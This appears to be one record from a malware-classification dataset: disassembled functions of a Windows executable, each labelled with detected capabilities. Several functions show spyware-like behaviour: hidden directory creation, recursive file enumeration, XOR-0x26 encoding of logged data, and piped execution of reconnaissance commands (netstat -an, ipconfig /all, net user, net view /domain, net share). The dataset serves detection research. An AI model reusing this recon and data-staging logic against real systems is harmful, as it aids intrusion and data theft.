joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43e080
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x47d993
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00471a42
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0047708f
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.004785ab
test eax, eax
je 0x43e19c
mov ecx, dword [esp + 0x3c]
call fcn.004770bc
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x43e160
push edi
mov ecx, esi
call fcn.00474727
mov ecx, esi
call fcn.0043e300
cmp dword [esp + 0x38], 1
jne 0x43e195
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00474862
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x440bc0
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x440bf3
push esi
call fcn.0044eed0
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x440bec
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x440c79
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x440c62
mov eax, dword [esi + 8]
test eax, eax
je 0x440c17
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x440c5e
cmp eax, 2
je 0x440c62
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x440c0a
cmp eax, 3
je 0x440c3d
cmp eax, 1
jne 0x440c0a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x440c0a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x440c0a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.00440ca0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x440c88
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.00440ca0
add esp, 4
pop esi
ret

Function at 0x441520
Capabilities:
Terminate process

Disassembly:
mov eax, dword [esp + 4]
test eax, eax
je 0x441541
mov ecx, dword [eax + 0x40]
test ecx, ecx
je 0x441541
mov eax, dword [eax + 0x44]
test eax, eax
je 0x441541
mov edx, dword [esp + 8]
push edx
push eax
call ecx
add esp, 8
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x47281d
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x472855
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004708ee
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004708c6
jmp 0x472861
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x473f12
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x473f54
call fcn.00479895
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x473f54
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x473f4b
xor eax, eax
jmp 0x473f5c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00473f62
pop edi
pop esi
pop ebx
ret 4
Function at 0x479dc5
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x479df3
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x479e11
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00479d2b
jmp 0x479e11
mov eax, dword [esi + 0x14]
test eax, eax
je 0x479e11
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00479d2b
test edi, edi
mov eax, edi
jne 0x479dfb
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x403c72
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov dword [ebp - 0x110], 0x100
mov dword [ebp - 0x10c], 4
lea eax, [ebp - 0x108]
push eax
push GetSystemTime
push 0
push 0x4226f8
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x403cf2
lea ecx, [ebp - 0x110]
push ecx
lea edx, [ebp - 0x104]
push edx
lea eax, [ebp - 0x10c]
push eax
push 0
push 0x422728
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov dword [ebp - 4], eax
movsx edx, byte [ebp - 0x104]
mov dword [ebp - 0x114], edx
mov eax, dword [ebp - 0x114]
jmp 0x403d02
mov ecx, dword [ebp - 0x108]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
or eax, 0xffffffff
mov esp, ebp
pop ebp
ret
Function at 0x40414d
Capabilities:
Create directory
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push edi
push 0
push 0x422784
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
push 0x42279c
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov byte [ebp - 0x104], 0
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x103]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0
push 0x427464
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0x104
push 0
lea eax, [ebp - 0x30c]
push eax
call fcn.0040be20
add esp, 0xc
push 0x427464
lea ecx, [ebp - 0x30c]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x4227b4
lea edx, [ebp - 0x30c]
push edx
call fcn.0040c880
add esp, 8
push 0
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
lea ecx, [ebp - 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x104
push 0
lea edx, [ebp - 0x30c]
push edx
call fcn.0040be20
add esp, 0xc
push 0x427464
lea eax, [ebp - 0x30c]
push eax
call fcn.0040c8aa
add esp, 8
push 0x4227cc
lea ecx, [ebp - 0x30c]
push ecx
call fcn.0040c880
add esp, 8
push 0
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x104
push 0
lea ecx, [ebp - 0x30c]
push ecx
call fcn.0040be20
add esp, 0xc
push 0x427464
lea edx, [ebp - 0x30c]
push edx
call fcn.0040c8aa
add esp, 8
push 0x104
push 0
lea eax, [ebp - 0x30c]
push eax
call fcn.0040be20
add esp, 0xc
push 0x427464
lea ecx, [ebp - 0x30c]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x4227e4
lea edx, [ebp - 0x30c]
push edx
call fcn.0040c880
add esp, 8
push 0
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
lea ecx, [ebp - 0x30c]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0x104
push 0
lea edx, [ebp - 0x30c]
push edx
call fcn.0040be20
add esp, 0xc
push 0x427464
lea eax, [ebp - 0x30c]
push eax
call fcn.0040c8aa
add esp, 8
push str.userinfo.._
lea ecx, [ebp - 0x30c]
push ecx
call fcn.0040c880
add esp, 8
push 0
lea edx, [ebp - 0x30c]
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 7
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x404b51
Capabilities:
Check if file exists
Create thread
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
call fcn.0040ab55
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 6
jb 0x404b73
xor eax, eax
jmp 0x404c1c
cmp dword [0x42778c], 2
jl 0x404b83
xor eax, eax
jmp 0x404c1c
push 0x427794
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x404b9a
xor eax, eax
jmp 0x404c1c
push 0
push 0
push 0
push 0x404c20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
push 0xdac
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 8], 0
call fcn.0040ab55
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 6
jb 0x404be0
xor eax, eax
jmp 0x404c1c
cmp dword [0x42778c], 2
jl 0x404bed
xor eax, eax
jmp 0x404c1c
push 0
push 0
push 0
push 0x404c20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [ebp - 4], eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
mov esp, ebp
pop ebp
ret
Function at 0x40518e
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa78
push edi
mov word [ebp - 0x20c], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x20a]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x104
push 0
lea eax, [ebp - 0x870]
push eax
call fcn.0040be20
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x20c]
push ecx
call fcn.0040be20
add esp, 0xc
mov dword [ebp - 0x668], 0
lea edx, [ebp - 0x668]
push edx
push 8
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderLocation]
cmp dword [ebp - 0x668], 0
je 0x405233
lea eax, [ebp - 0x20c]
push eax
mov ecx, dword [ebp - 0x668]
push ecx
call dword [sym.imp.SHELL32.dll_SHGetPathFromIDListW]
test eax, eax
je 0x405233
push 0x104
lea edx, [ebp - 0x870]
push edx
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
lea ecx, [ebp - 0x870]
push ecx
lea edx, [ebp - 0x414]
push edx
call fcn.0040c8aa
add esp, 8
push 0x422998
lea eax, [ebp - 0x414]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0x664]
push ecx
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x405281
xor eax, eax
jmp 0x40534e
mov eax, 1
test eax, eax
je 0x40533f
mov ecx, dword [ebp - 0x664]
and ecx, 0x10
test ecx, ecx
je 0x4052a0
jmp 0x405323
push 0x104
push 0
lea edx, [ebp - 0xa78]
push edx
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x870]
push eax
lea ecx, [ebp - 0xa78]
push ecx
call fcn.0040c8aa
add esp, 8
lea edx, [ebp - 0xa78]
push edx
call fcn.0040be00
add esp, 4
xor ecx, ecx
mov cx, word [ebp + eax*2 - 0xa7a]
cmp ecx, 0x5c
je 0x4052fe
push 0x4229a4
lea edx, [ebp - 0xa78]
push edx
call fcn.0040c880
add esp, 8
lea eax, [ebp - 0x638]
push eax
lea ecx, [ebp - 0xa78]
push ecx
call fcn.0040c880
add esp, 8
lea edx, [ebp - 0xa78]
push edx
call fcn.0040355d
add esp, 4
lea eax, [ebp - 0x664]
push eax
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40533a
jmp 0x40533f
jmp 0x405281
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x405652
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
push edi
mov word [ebp - 0x420], 0
mov ecx, 0x103
xor eax, eax
lea edi, [ebp - 0x41e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x208
push 0
lea eax, [ebp - 0x420]
push eax
call fcn.0040be20
add esp, 0xc
push 0x427464
lea ecx, [ebp - 0x420]
push ecx
call fcn.0040c8aa
add esp, 8
push 0x4229b8
lea edx, [ebp - 0x420]
push edx
call fcn.0040c880
add esp, 8
mov eax, dword [ebp + 0xc]
push eax
lea ecx, [ebp - 0x420]
push ecx
call fcn.0040c880
add esp, 8
push str..dll
lea edx, [ebp - 0x420]
push edx
call fcn.0040c880
add esp, 8
push 0
push 2
push 4
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x405756
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 2
push 4
push 0
push 3
push 0xc0000000
lea edx, [ebp - 0x420]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
jne 0x405756
push 0
push 2
push 2
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x420]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0xc], eax
mov edx, dword [ebp - 0xc]
mov dword [ebp - 0x428], edx
mov dword [ebp - 0x424], 0
fild qword [ebp - 0x428]
fcomp qword [0x41d488]
fnstsw ax
test ah, 1
jne 0x4057b4
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 2
push 5
push 0
push 3
push 0xc0000000
lea ecx, [ebp - 0x420]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x10], eax
push 2
push 0
push 0
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x4229dc
mov eax, dword [ebp + 8]
push eax
call fcn.0040bd20
add esp, 8
mov dword [ebp - 4], 0
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040c940
add esp, 4
cmp dword [ebp - 4], eax
jae 0x40580a
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
mov al, byte [edx]
xor al, 0x26
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
mov byte [ecx], al
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x4057dc
push 0
lea eax, [ebp - 8]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040c940
add esp, 4
push eax
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x40585b
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xe64
cmp dword [0x4277ac], 1
jne 0x405872
jmp 0x405adc
push 0x400
push 0
lea eax, [ebp - 0x800]
push eax
call fcn.0040be20
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
lea edx, [ebp - 0xa0c]
push edx
call fcn.0040c8aa
add esp, 8
lea eax, [ebp - 0xa0c]
push eax
call fcn.0040be00
add esp, 4
xor ecx, ecx
mov cx, word [ebp + eax*2 - 0xa0e]
cmp ecx, 0x5c
je 0x4058cd
push 0x4229e0
lea edx, [ebp - 0xa0c]
push edx
call fcn.0040c880
add esp, 8
push 0x4229e4
lea eax, [ebp - 0xa0c]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0xc5c]
push ecx
lea edx, [ebp - 0xa0c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 0x804], eax
cmp dword [ebp - 0x804], 0xffffffff
jne 0x405909
jmp 0x405adc
mov eax, 1
test eax, eax
je 0x405acf
push 0x4229ec
lea ecx, [ebp - 0xc30]
push ecx
call fcn.0040c3d7
add esp, 8
test eax, eax
je 0x405946
push 0x4229f0
lea edx, [ebp - 0xc30]
push edx
call fcn.0040c3d7
add esp, 8
test eax, eax
jne 0x405965
lea eax, [ebp - 0xc5c]
push eax
mov ecx, dword [ebp - 0x804]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405963
jmp 0x405acf
jmp 0x405909
mov edx, dword [ebp - 0xc5c]
and edx, 0x10
test edx, edx
je 0x405a1d
mov eax, dword [ebp - 0xc30]
and eax, 0xffff
cmp eax, 0x2e
je 0x405a18
push 0x104
push 0
lea ecx, [ebp - 0xe64]
push ecx
call fcn.0040be20
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0xe64]
push eax
call fcn.0040c8aa
add esp, 8
lea ecx, [ebp - 0xe64]
push ecx
call fcn.0040be00
add esp, 4
xor edx, edx
mov dx, word [ebp + eax*2 - 0xe66]
cmp edx, 0x5c
je 0x4059e5
push 0x4229f8
lea eax, [ebp - 0xe64]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0xc30]
push ecx
lea edx, [ebp - 0xe64]
push edx
call fcn.0040c880
add esp, 8
cmp dword [0x4277ac], 1
jne 0x405a09
jmp 0x405adc
lea eax, [ebp - 0xe64]
push eax
call fcn.0040585b
add esp, 4
jmp 0x405ab0
push 0x400
push 0
lea ecx, [ebp - 0x800]
push ecx
call fcn.0040be20
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x800]
push eax
call fcn.0040c8aa
add esp, 8
lea ecx, [ebp - 0x800]
push ecx
call fcn.0040be00
add esp, 4
xor edx, edx
mov dx, word [ebp + eax*2 - 0x802]
cmp edx, 0x5c
je 0x405a78
push 0x4229fc
lea eax, [ebp - 0x800]
push eax
call fcn.0040c880
add esp, 8
lea ecx, [ebp - 0xc30]
push ecx
lea edx, [ebp - 0x800]
push edx
call fcn.0040c880
add esp, 8
cmp dword [0x4277ac], 1
jne 0x405a99
jmp 0x405adc
lea eax, [ebp - 0x800]
push eax
call fcn.0040355d
add esp, 4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
lea ecx, [ebp - 0xc5c]
push ecx
mov edx, dword [ebp - 0x804]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x405aca
jmp 0x405acf
jmp 0x405909
mov eax, dword [ebp - 0x804]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret
Function at 0x405ef3
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
push 0x22c
push 0
lea eax, [ebp - 0x234]
push eax
call fcn.0040be20
add esp, 0xc
mov dword [ebp - 0x234], 0x22c
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x405f48
push str.failed_to_napshot_
call fcn.00406033
add esp, 4
mov ecx, dword [0x42745c]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x234]
push edx
mov eax, dword [ebp - 4]
push eax
call sub.KERNEL32.dll_Process32FirstW
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x405fd7
push 0x104
push 0
lea ecx, [ebp - 0x338]
push ecx
call fcn.0040be20
add esp, 0xc
push 0
push 0
lea edx, [ebp - 0x210]
push edx
call fcn.0040be00
add esp, 4
push eax
lea eax, [ebp - 0x338]
push eax
lea ecx, [ebp - 0x210]
push ecx
call fcn.0040be00
add esp, 4
push eax
lea edx, [ebp - 0x210]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0x338]
push eax
call fcn.00406033
add esp, 4
lea ecx, [ebp - 0x234]
push ecx
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_Process32NextW
mov dword [ebp - 8], eax
jmp 0x405f5b
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push str.netstat__an
call fcn.00406405
add esp, 4
push str.ipconfig_all
call fcn.00406405
add esp, 4
push str.net_user
call fcn.00406405
add esp, 4
push str.net_view
call fcn.00406405
add esp, 4
push str.net_view__domain
call fcn.00406405
add esp, 4
push str.net_share
call fcn.00406405
add esp, 4
mov esp, ebp
pop ebp
ret
Function at 0x406033
Capabilities:
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x628
push edi
mov word [ebp - 0x628], 0
mov ecx, 0x103
xor eax, eax
lea edi, [ebp - 0x626]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp - 8], 0x208
push 0x427464
lea eax, [ebp - 0x628]
push eax
call fcn.0040c8aa
add esp, 8
push str.userHelpuserhelp.log
lea ecx, [ebp - 0x628]
push ecx
call fcn.0040c880
add esp, 8
push 0
push 2
push 4
push 0
push 3
push 0xc0000000
lea edx, [ebp - 0x628]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x42745c], eax
cmp dword [0x42745c], 0xffffffff
jne 0x4060ec
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 2
push 4
push 0
push 3
push 0xc0000000
lea eax, [ebp - 0x628]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x42745c], eax
cmp dword [0x42745c], 0xffffffff
jne 0x4060ec
mov eax, 1
jmp 0x4061cd
push 0
mov ecx, dword [0x42745c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x500000
jb 0x406121
mov edx, dword [0x42745c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x4061cd
mov word [ebp - 0x210], 0
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x20e]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 2
push 0
push 0
mov eax, dword [0x42745c]
push eax
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x422af4
mov ecx, dword [ebp + 8]
push ecx
call fcn.0040bd20
add esp, 8
mov dword [ebp - 4], 0
mov edx, dword [ebp + 8]
push edx
call fcn.0040c940
add esp, 4
cmp dword [ebp - 4], eax
jae 0x406194
mov eax, dword [ebp + 8]
add eax, dword [ebp - 4]
mov cl, byte [eax]
xor cl, 0x26
mov edx, dword [ebp + 8]
add edx, dword [ebp - 4]
mov byte [edx], cl
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
jmp 0x406165
push 0
lea ecx, [ebp - 0x214]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.0040c940
add esp, 4
push eax
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [0x42745c]
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [0x42745c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4061d2
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1674
call fcn.0040be80
push 0x104
push 0
lea eax, [ebp - 0x11c]
push eax
call fcn.0040be20
add esp, 0xc
push str.dir
lea ecx, [ebp - 0x11c]
push ecx
call fcn.0040bd10
add esp, 8
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x11c]
push eax
call fcn.0040bd20
add esp, 8
push 0x422b00
lea ecx, [ebp - 0x11c]
push ecx
call fcn.0040bd20
add esp, 8
push 0x104
push 0
lea edx, [ebp - 0x1674]
push edx
call fcn.0040be20
add esp, 0xc
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x1674]
push ecx
call fcn.0040bd10
add esp, 8
mov dword [ebp - 0x528], 0xc
mov dword [ebp - 0x524], 0
mov dword [ebp - 0x520], 1
push 0
lea edx, [ebp - 0x528]
push edx
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x52c]
push ecx
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x40629f
xor eax, eax
jmp 0x406401
push 0x422b04
lea edx, [ebp - 0x51c]
push edx
call fcn.0040bd10
add esp, 8
lea eax, [ebp - 0x1674]
push eax
lea ecx, [ebp - 0x51c]
push ecx
call fcn.0040bd20
add esp, 8
mov dword [ebp - 0x1570], 0x44
lea edx, [ebp - 0x1570]
push edx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1530], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x1534], ecx
mov word [ebp - 0x1540], 0
mov dword [ebp - 0x1544], 0x101
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x1570]
push eax
push 0
push 0
push 0
push 1
push 0
push 0
lea ecx, [ebp - 0x51c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40634d
mov edx, dword [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x52c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x406401
mov ecx, dword [ebp - 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x1000
push 0
lea edx, [ebp - 0x152c]
push edx
call fcn.0040be20
add esp, 0xc
mov eax, 1
test eax, eax
je 0x4063e3
push 0x1000
push 0
lea ecx, [ebp - 0x152c]
push ecx
call fcn.0040be20
add esp, 0xc
push 0
lea edx, [ebp - 0x18]
push edx
push 0xfa0
lea eax, [ebp - 0x152c]
push eax
mov ecx, dword [ebp - 0x52c]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4063b1
jmp 0x4063e3
lea edx, [ebp - 0x152c]
push edx
call fcn.00406033
add esp, 4
test eax, eax
jne 0x4063e1
mov eax, dword [ebp - 0x52c]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor eax, eax
jmp 0x406401
jmp 0x40636d
mov edx, dword [ebp - 0x52c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov eax, 1
mov esp, ebp
pop ebp
ret